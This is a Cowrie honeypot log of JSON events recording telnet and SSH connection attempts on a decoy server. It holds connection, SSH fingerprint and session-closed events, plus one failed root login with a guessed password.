{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":41472,"dst_ip":"159.203.135.109","dst_port":23,"session":"c79c064c33a5","protocol":"telnet","message":"New connection: 41.76.108.55:41472 (159.203.135.109:23) [session: c79c064c33a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:02.168544Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":51290,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e7527488cd5","protocol":"telnet","message":"New connection: 15.204.204.191:51290 (10.17.0.5:23) [session: 9e7527488cd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:02.238124Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":41992,"dst_ip":"159.203.135.109","dst_port":23,"session":"4927d4ab4071","protocol":"telnet","message":"New connection: 41.76.108.55:41992 (159.203.135.109:23) [session: 4927d4ab4071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:02.324353Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":44654,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d9a639d7972","protocol":"telnet","message":"New connection: 41.76.108.55:44654 (159.203.135.109:23) [session: 0d9a639d7972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:02.965952Z"}
{"eventid":"cowrie.session.closed","duration":30.955968618392944,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:03.071482Z","src_ip":"15.204.204.191","session":"c31de009af3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":48568,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1034a45ec8c","protocol":"telnet","message":"New connection: 41.76.108.55:48568 (159.203.135.109:23) [session: f1034a45ec8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:03.999040Z"}
{"eventid":"cowrie.session.closed","duration":30.787427186965942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:04.172827Z","src_ip":"41.76.108.55","session":"250be180b341","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.208","src_port":53452,"dst_ip":"159.203.135.109","dst_port":22,"session":"14878fe885a4","protocol":"ssh","message":"New connection: 103.13.206.208:53452 (159.203.135.109:22) [session: 14878fe885a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:04.622621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:04.629556Z","src_ip":"103.13.206.208","session":"14878fe885a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:04.905045Z","src_ip":"103.13.206.208","session":"14878fe885a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.20341205596924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:05.058888Z","src_ip":"15.204.204.191","session":"28463afd5fb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76617193222046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:06.019651Z","src_ip":"15.204.204.191","session":"c93561c34f1f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@123.com","message":"login attempt [root/123@123.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:06.041953Z","src_ip":"103.13.206.208","session":"14878fe885a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.154021501541138,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:06.235592Z","src_ip":"41.76.108.55","session":"6e537a5b8fb3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":59472,"dst_ip":"159.203.135.109","dst_port":23,"session":"600257cb1213","protocol":"telnet","message":"New connection: 41.76.108.55:59472 (159.203.135.109:23) [session: 600257cb1213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:06.387185Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":33322,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd1e52f83c8e","protocol":"telnet","message":"New connection: 41.76.108.55:33322 (159.203.135.109:23) [session: bd1e52f83c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:06.843175Z"}
{"eventid":"cowrie.session.closed","duration":30.704373121261597,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:07.128808Z","src_ip":"41.76.108.55","session":"be132627a85f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":34922,"dst_ip":"159.203.135.109","dst_port":23,"session":"d97d0b9c04d0","protocol":"telnet","message":"New connection: 41.76.108.55:34922 (159.203.135.109:23) [session: d97d0b9c04d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:07.184743Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":51292,"dst_ip":"10.17.0.5","dst_port":23,"session":"10213a93435a","protocol":"telnet","message":"New connection: 15.204.204.191:51292 (10.17.0.5:23) [session: 10213a93435a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:07.236076Z"}
{"eventid":"cowrie.session.closed","duration":30.941164255142212,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:07.308776Z","src_ip":"41.76.108.55","session":"99d1a95e0be7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:07.324947Z","src_ip":"103.13.206.208","session":"14878fe885a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":36192,"dst_ip":"159.203.135.109","dst_port":23,"session":"314f427eb3c8","protocol":"telnet","message":"New connection: 41.76.108.55:36192 (159.203.135.109:23) [session: 314f427eb3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:07.557357Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":39440,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a91823726f2","protocol":"telnet","message":"New connection: 41.76.108.55:39440 (159.203.135.109:23) [session: 8a91823726f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:08.249930Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":41180,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b15068316ec","protocol":"telnet","message":"New connection: 41.76.108.55:41180 (159.203.135.109:23) [session: 0b15068316ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:08.714963Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":41296,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca27c4507e0f","protocol":"telnet","message":"New connection: 41.76.108.55:41296 (159.203.135.109:23) [session: ca27c4507e0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:08.739574Z"}
{"eventid":"cowrie.session.closed","duration":30.999504327774048,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:09.228424Z","src_ip":"41.76.108.55","session":"6804fc99cd49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":51300,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a7768964eca","protocol":"telnet","message":"New connection: 15.204.204.191:51300 (10.17.0.5:23) [session: 0a7768964eca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:10.046313Z"}
{"eventid":"cowrie.session.closed","duration":30.92162322998047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:10.125876Z","src_ip":"41.76.108.55","session":"42b8f01aaa61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":48772,"dst_ip":"159.203.135.109","dst_port":23,"session":"12e269602dee","protocol":"telnet","message":"New connection: 41.76.108.55:48772 (159.203.135.109:23) [session: 12e269602dee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:10.352786Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":49162,"dst_ip":"159.203.135.109","dst_port":23,"session":"696dedd425b4","protocol":"telnet","message":"New connection: 41.76.108.55:49162 (159.203.135.109:23) [session: 696dedd425b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:10.444906Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":54028,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5903b6af987","protocol":"telnet","message":"New connection: 41.76.108.55:54028 (159.203.135.109:23) [session: e5903b6af987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:11.640053Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":60120,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba462e9ab686","protocol":"telnet","message":"New connection: 15.204.204.191:60120 (10.17.0.5:23) [session: ba462e9ab686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:11.668619Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":58560,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9ac4c7a1336","protocol":"telnet","message":"New connection: 41.76.108.55:58560 (159.203.135.109:23) [session: e9ac4c7a1336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:12.624834Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":58740,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fd28c74e35b","protocol":"telnet","message":"New connection: 41.76.108.55:58740 (159.203.135.109:23) [session: 3fd28c74e35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:12.664506Z"}
{"eventid":"cowrie.session.closed","duration":30.777869701385498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:13.140283Z","src_ip":"41.76.108.55","session":"b85c32ff7777","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":35444,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7b1c5fd0428","protocol":"telnet","message":"New connection: 41.76.108.55:35444 (159.203.135.109:23) [session: d7b1c5fd0428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:13.892024Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":35632,"dst_ip":"159.203.135.109","dst_port":23,"session":"e98c6bcbef9b","protocol":"telnet","message":"New connection: 41.76.108.55:35632 (159.203.135.109:23) [session: e98c6bcbef9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:13.939857Z"}
{"eventid":"cowrie.session.closed","duration":30.99581265449524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:14.158535Z","src_ip":"41.76.108.55","session":"2c5a4bbd1703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":36982,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f7776aa5eec","protocol":"telnet","message":"New connection: 41.76.108.55:36982 (159.203.135.109:23) [session: 8f7776aa5eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:14.307057Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":60122,"dst_ip":"10.17.0.5","dst_port":23,"session":"51f61a7f4b8d","protocol":"telnet","message":"New connection: 15.204.204.191:60122 (10.17.0.5:23) [session: 51f61a7f4b8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:14.597034Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":40278,"dst_ip":"159.203.135.109","dst_port":23,"session":"a63cdfc15d13","protocol":"telnet","message":"New connection: 41.76.108.55:40278 (159.203.135.109:23) [session: a63cdfc15d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:15.127049Z"}
{"eventid":"cowrie.session.closed","duration":30.65743088722229,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:15.167415Z","src_ip":"41.76.108.55","session":"6e766b34c4a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.977351665496826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:15.376496Z","src_ip":"41.76.108.55","session":"fd73e8a86562","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":41372,"dst_ip":"159.203.135.109","dst_port":23,"session":"eadc59cff0a5","protocol":"telnet","message":"New connection: 41.76.108.55:41372 (159.203.135.109:23) [session: eadc59cff0a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:15.404775Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":41588,"dst_ip":"159.203.135.109","dst_port":23,"session":"63bd26d2a73a","protocol":"telnet","message":"New connection: 41.76.108.55:41588 (159.203.135.109:23) [session: 63bd26d2a73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:15.445922Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":42566,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb26255e648f","protocol":"telnet","message":"New connection: 41.76.108.55:42566 (159.203.135.109:23) [session: bb26255e648f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:15.657636Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":42808,"dst_ip":"159.203.135.109","dst_port":23,"session":"da09ec80ac10","protocol":"telnet","message":"New connection: 41.76.108.55:42808 (159.203.135.109:23) [session: da09ec80ac10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:15.716806Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":44264,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7aad8dce801","protocol":"telnet","message":"New connection: 41.76.108.55:44264 (159.203.135.109:23) [session: e7aad8dce801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:16.061251Z"}
{"eventid":"cowrie.session.closed","duration":30.885497331619263,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:16.143694Z","src_ip":"41.76.108.55","session":"fda31050dcf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012940406799316,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:16.169317Z","src_ip":"41.76.108.55","session":"aba1af22c722","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":44918,"dst_ip":"159.203.135.109","dst_port":23,"session":"e123458757f7","protocol":"telnet","message":"New connection: 41.76.108.55:44918 (159.203.135.109:23) [session: e123458757f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:16.255434Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":60134,"dst_ip":"10.17.0.5","dst_port":23,"session":"a069b62cca2a","protocol":"telnet","message":"New connection: 15.204.204.191:60134 (10.17.0.5:23) [session: a069b62cca2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:16.346535Z"}
{"eventid":"cowrie.session.closed","duration":30.754175186157227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:17.152952Z","src_ip":"41.76.108.55","session":"ab0c1f674b65","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51323127746582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:18.140606Z","src_ip":"41.76.108.55","session":"6f3827560a17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.45.177","src_port":36050,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ce13c063a0a","protocol":"ssh","message":"New connection: 159.223.45.177:36050 (159.203.135.109:22) [session: 2ce13c063a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:18.775478Z"}
{"eventid":"cowrie.session.closed","duration":30.839640140533447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:19.153197Z","src_ip":"41.76.108.55","session":"507f614a731b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.431092739105225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:19.835205Z","src_ip":"15.204.204.191","session":"11691265a40a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":59404,"dst_ip":"159.203.135.109","dst_port":23,"session":"795638d0c49b","protocol":"telnet","message":"New connection: 41.76.108.55:59404 (159.203.135.109:23) [session: 795638d0c49b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:19.886536Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":59668,"dst_ip":"159.203.135.109","dst_port":23,"session":"6117f165ea9d","protocol":"telnet","message":"New connection: 41.76.108.55:59668 (159.203.135.109:23) [session: 6117f165ea9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:19.961398Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":60344,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2125f451628","protocol":"telnet","message":"New connection: 41.76.108.55:60344 (159.203.135.109:23) [session: f2125f451628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:20.139190Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":60916,"dst_ip":"159.203.135.109","dst_port":23,"session":"537fd9a76c79","protocol":"telnet","message":"New connection: 41.76.108.55:60916 (159.203.135.109:23) [session: 537fd9a76c79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:20.268950Z"}
{"eventid":"cowrie.session.closed","duration":30.80386710166931,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:20.522192Z","src_ip":"41.76.108.55","session":"0e5cac390b9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":36474,"dst_ip":"159.203.135.109","dst_port":23,"session":"91e175bfc450","protocol":"telnet","message":"New connection: 41.76.108.55:36474 (159.203.135.109:23) [session: 91e175bfc450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:21.064198Z"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:21.538148Z","src_ip":"159.223.45.177","session":"2ce13c063a0a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":38726,"dst_ip":"10.17.0.5","dst_port":23,"session":"961b177970c0","protocol":"telnet","message":"New connection: 15.204.204.191:38726 (10.17.0.5:23) [session: 961b177970c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:21.972659Z"}
{"eventid":"cowrie.session.closed","duration":30.65678381919861,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:22.011217Z","src_ip":"15.204.204.191","session":"4a87343746f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803627967834473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:22.016482Z","src_ip":"15.204.204.191","session":"12d6020feb7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":40426,"dst_ip":"159.203.135.109","dst_port":23,"session":"63967e1eaaf9","protocol":"telnet","message":"New connection: 41.76.108.55:40426 (159.203.135.109:23) [session: 63967e1eaaf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:22.034643Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.204.191","src_port":38734,"dst_ip":"10.17.0.5","dst_port":23,"session":"98ef25c9df99","protocol":"telnet","message":"New connection: 15.204.204.191:38734 (10.17.0.5:23) [session: 98ef25c9df99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:22.444589Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":42666,"dst_ip":"159.203.135.109","dst_port":23,"session":"293cf9f3af8b","protocol":"telnet","message":"New connection: 41.76.108.55:42666 (159.203.135.109:23) [session: 293cf9f3af8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:22.605405Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.76.108.55","src_port":44354,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad9d081ee03b","protocol":"telnet","message":"New connection: 41.76.108.55:44354 (159.203.135.109:23) [session: ad9d081ee03b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:23.046135Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:23.059616Z","src_ip":"106.75.222.164","session":"77a1ee46a244","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.358771800994873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:23.181594Z","src_ip":"41.76.108.55","session":"543c16b8a55b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.929896354675293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:23.205089Z","src_ip":"41.76.108.55","session":"9ef51c6a62a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.206274032592773,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T11:09:23.275292Z","src_ip":"41.76.108.55","session":"8b0b128f3bd6","protocol":"telnet"}
